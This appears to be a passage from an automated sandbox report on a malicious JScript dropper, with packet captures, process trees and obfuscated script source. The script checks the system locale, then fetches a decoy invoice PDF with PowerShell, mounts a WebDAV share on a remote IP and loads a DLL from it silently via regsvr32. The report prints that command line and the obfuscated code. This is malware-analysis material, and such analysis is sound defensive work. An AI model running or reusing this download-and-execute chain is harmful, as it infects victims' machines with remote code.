Jan 10, 2025 18:31:37.952106953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952126026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952125072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952125072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952138901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952152014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952158928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952166080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952186108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952193022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952193022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952198029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952214003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952227116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952235937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952246904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952255011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.952260017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.952284098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:38.004735947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:38.077807903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:38.473428965 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:38.478351116 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:38.478437901 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:38.478627920 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:38.483397961 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:39.308710098 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:39.351344109 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:39.482247114 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:32:06.837327003 CET	52807	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:32:06.842122078 CET	53	52807	1.1.1.1	192.168.2.5
Jan 10, 2025 18:32:06.842197895 CET	52807	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:32:06.842503071 CET	52807	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:32:06.847301006 CET	53	52807	1.1.1.1	192.168.2.5
Jan 10, 2025 18:32:07.289693117 CET	53	52807	1.1.1.1	192.168.2.5
Jan 10, 2025 18:32:07.290565014 CET	52807	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:32:07.295593023 CET	53	52807	1.1.1.1	192.168.2.5
Jan 10, 2025 18:32:07.295660973 CET	52807	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:31:51.475145102 CET	63221	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:32:04.128948927 CET	60091	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:32:06.836704016 CET	53	50200	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:31:51.475145102 CET	192.168.2.5	1.1.1.1	0xaf29	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:32:04.128948927 CET	192.168.2.5	1.1.1.1	0x4b21	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:31:50.633292913 CET	1.1.1.1	192.168.2.5	0x72d3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:31:50.633292913 CET	1.1.1.1	192.168.2.5	0x72d3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:31:51.482398033 CET	1.1.1.1	192.168.2.5	0xaf29	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:32:04.137356997 CET	1.1.1.1	192.168.2.5	0x4b21	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1408	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:31:36.375807047 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:31:37.185687065 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:31:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:31:37.185710907 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:31:37.185718060 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:31:37.185724020 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:31:37.185730934 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 18:31:37.185736895 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 18:31:37.185751915 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 18:31:37.185756922 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 18:31:37.185762882 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 18:31:37.185770035 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 18:31:37.190821886 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	5252	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:31:38.478627920 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:31:39.308710098 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:31:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:31:33
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1283220404157902514.js"
Imagebase:	0x7ff617ed0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:31:33
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll
Imagebase:	0x7ff6098c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:31:33
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:31:33
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:31:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:31:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6098c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:31:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a0aa0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:31:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:31:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:31:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,6607598967053429651,498636849261880243,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gjhrdjz() {	gjhrdjz() ➔ undefined
1	swast = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fynilloxk = this[uepgmam + mdrdhhgie + bvcssympp + mbnfspwlr + bqptj + flxbpwb + odfmywk + zkrkqfgz] ( this[dlqaetcnd + mkdmzng + sambk + bvcssympp + fuccfxl + uepgmam + zkrkqfgz][jlgfhrrh + bvcssympp + bqptj + mdrdhhgie + zkrkqfgz + bqptj + fbhgsbug + dscvgnj + hvcacrlky + bqptj + sambk + zkrkqfgz] ( dlqaetcnd + mkdmzng + sambk + bvcssympp + fuccfxl + uepgmam + zkrkqfgz + vmwyogll + mkdmzng + gyexpdp + bqptj + duxasj + duxasj ) [bjyjwq + bqptj + fqcxfbcj + bjyjwq + bqptj + mdrdhhgie + tryrnjtdu] ( wyrhxz + gvdys + scaqzumzd + rwelqbqo + mhamde + jlgfhrrh + tdhopcma + bjyjwq + bjyjwq + scaqzumzd + srpnisscr + hteywx + mhamde + tdhopcma + mkdmzng + scaqzumzd + bjyjwq + mevikhbbe + jlgfhrrh + onnwfwktv + odfmywk + zkrkqfgz + bvcssympp + onnwfwktv + duxasj + hueha + hrppadaib + mdrdhhgie + odfmywk + bqptj + duxasj + mevikhbbe + flxbpwb + odfmywk + zkrkqfgz + bqptj + bvcssympp + odfmywk + mdrdhhgie + zkrkqfgz + fuccfxl + onnwfwktv + odfmywk + mdrdhhgie + duxasj + mevikhbbe + emvnfs + onnwfwktv + sambk + mdrdhhgie + duxasj + bqptj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vupjgrrwz = 0 ; vupjgrrwz < swast[duxasj + bqptj + odfmywk + fqcxfbcj + zkrkqfgz + gyexpdp] ; ++ vupjgrrwz )
4	{
5	if ( fynilloxk == swast[vupjgrrwz] )
6	{
7	fynilloxk = true;
8	break ;
9	}
10	}
11	if ( fynilloxk !== true )
12	this[dlqaetcnd + mkdmzng + sambk + bvcssympp + fuccfxl + uepgmam + zkrkqfgz][lsjuue + owungivvb + fuccfxl + zkrkqfgz] ( );
13	this[dlqaetcnd + mkdmzng + sambk + bvcssympp + fuccfxl + uepgmam + zkrkqfgz][jlgfhrrh + bvcssympp + bqptj + mdrdhhgie + zkrkqfgz + bqptj + fbhgsbug + dscvgnj + hvcacrlky + bqptj + sambk + zkrkqfgz] ( dlqaetcnd + mkdmzng + sambk + bvcssympp + fuccfxl + uepgmam + zkrkqfgz + vmwyogll + mkdmzng + gyexpdp + bqptj + duxasj + duxasj ) [bvcssympp + owungivvb + odfmywk] ( sambk + wtnvgwwu + tryrnjtdu + hueha + csdfihh + sambk + hueha + uepgmam + onnwfwktv + yvazdzb + bqptj + bvcssympp + mbnfspwlr + gyexpdp + bqptj + duxasj + duxasj + vmwyogll + bqptj + fonecllgy + bqptj + hueha + qeapaxpt + jlgfhrrh + onnwfwktv + wtnvgwwu + wtnvgwwu + mdrdhhgie + odfmywk + tryrnjtdu + hueha + jpscwmm + flxbpwb + odfmywk + mpohq + onnwfwktv + mgvorvzer + bqptj + qeapaxpt + dlqaetcnd + bqptj + dscvgnj + bjyjwq + bqptj + xbctxfht + owungivvb + bqptj + mbnfspwlr + zkrkqfgz + hueha + qeapaxpt + fbhgsbug + owungivvb + zkrkqfgz + vbsxyaqyb + fuccfxl + duxasj + bqptj + hueha + owzmh + zkrkqfgz + bqptj + wtnvgwwu + uepgmam + owzmh + mevikhbbe + fuccfxl + odfmywk + mpohq + onnwfwktv + fuccfxl + sambk + bqptj + vmwyogll + uepgmam + tryrnjtdu + ahwofesq + hueha + gyexpdp + zkrkqfgz + zkrkqfgz + uepgmam + tlbxfa + csdfihh + csdfihh + srqzv + lxygho + hoblhahcm + vmwyogll + srqzv + tdephyyh + hoblhahcm + vmwyogll + srqzv + vmwyogll + pvrmh + jigboy + gwzlil + csdfihh + fuccfxl + odfmywk + mpohq + onnwfwktv + fuccfxl + sambk + bqptj + vmwyogll + uepgmam + gyexpdp + uepgmam + jpscwmm + lhwkczt + lhwkczt + mbnfspwlr + zkrkqfgz + mdrdhhgie + bvcssympp + zkrkqfgz + hueha + owzmh + zkrkqfgz + bqptj + wtnvgwwu + uepgmam + owzmh + mevikhbbe + fuccfxl + odfmywk + mpohq + onnwfwktv + fuccfxl + sambk + bqptj + vmwyogll + uepgmam + tryrnjtdu + ahwofesq + lhwkczt + lhwkczt + sambk + wtnvgwwu + tryrnjtdu + hueha + csdfihh + sambk + hueha + odfmywk + bqptj + zkrkqfgz + hueha + owungivvb + mbnfspwlr + bqptj + hueha + mevikhbbe + mevikhbbe + srqzv + lxygho + hoblhahcm + vmwyogll + srqzv + tdephyyh + hoblhahcm + vmwyogll + srqzv + vmwyogll + pvrmh + jigboy + gwzlil + uwfgcd + bgfnlwui + bgfnlwui + bgfnlwui + bgfnlwui + mevikhbbe + tryrnjtdu + mdrdhhgie + mpohq + yvazdzb + yvazdzb + yvazdzb + bvcssympp + onnwfwktv + onnwfwktv + zkrkqfgz + mevikhbbe + lhwkczt + lhwkczt + sambk + wtnvgwwu + tryrnjtdu + hueha + csdfihh + sambk + hueha + bvcssympp + bqptj + fqcxfbcj + mbnfspwlr + mpohq + bvcssympp + hoblhahcm + pvrmh + hueha + csdfihh + mbnfspwlr + hueha + mevikhbbe + mevikhbbe + srqzv + lxygho + hoblhahcm + vmwyogll + srqzv + tdephyyh + hoblhahcm + vmwyogll + srqzv + vmwyogll + pvrmh + jigboy + gwzlil + uwfgcd + bgfnlwui + bgfnlwui + bgfnlwui + bgfnlwui + mevikhbbe + tryrnjtdu + mdrdhhgie + mpohq + yvazdzb + yvazdzb + yvazdzb + bvcssympp + onnwfwktv + onnwfwktv + zkrkqfgz + mevikhbbe + srqzv + hoblhahcm + pvrmh + hoblhahcm + srqzv + qhugdzwc + lxygho + lxygho + hoblhahcm + srqzv + hoblhahcm + jigboy + gwzlil + gwzlil + vmwyogll + tryrnjtdu + duxasj + duxasj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13231699313055.dll",0,false) ➔ 0
14	}
15	uwfgcd = "y";
16	uwfgcd = "B";
17	uwfgcd = "w";
18	uwfgcd = "B";
19	uwfgcd = "n";
20	uwfgcd = "B";
21	uwfgcd = "a";
22	uwfgcd = "I";
23	uwfgcd = "h";
24	uwfgcd = "k";
25	uwfgcd = "@";
26	dlqaetcnd = "V";
27	dlqaetcnd = "r";
28	dlqaetcnd = "g";
29	dlqaetcnd = "t";
30	dlqaetcnd = "g";
31	dlqaetcnd = "N";
32	dlqaetcnd = "Y";
33	dlqaetcnd = "T";
34	dlqaetcnd = "p";
35	dlqaetcnd = "w";
36	dlqaetcnd = "L";
37	dlqaetcnd = "i";
38	dlqaetcnd = "Z";
39	dlqaetcnd = "o";
40	dlqaetcnd = "X";
41	dlqaetcnd = "W";
42	tlbxfa = "w";
43	tlbxfa = "P";
44	tlbxfa = "L";
45	tlbxfa = "C";
46	tlbxfa = "D";
47	tlbxfa = "A";
48	tlbxfa = "W";
49	tlbxfa = "G";
50	tlbxfa = "R";
51	tlbxfa = "d";
52	tlbxfa = "C";
53	tlbxfa = "m";
54	tlbxfa = ":";
55	zkrkqfgz = "S";
56	zkrkqfgz = "T";
57	zkrkqfgz = "Z";
58	zkrkqfgz = "H";
59	zkrkqfgz = "N";
60	zkrkqfgz = "G";
61	zkrkqfgz = "G";
62	zkrkqfgz = "o";
63	zkrkqfgz = "n";
64	zkrkqfgz = "o";
65	zkrkqfgz = "m";
66	zkrkqfgz = "N";
67	zkrkqfgz = "a";
68	zkrkqfgz = "a";
69	zkrkqfgz = "d";
70	zkrkqfgz = "V";
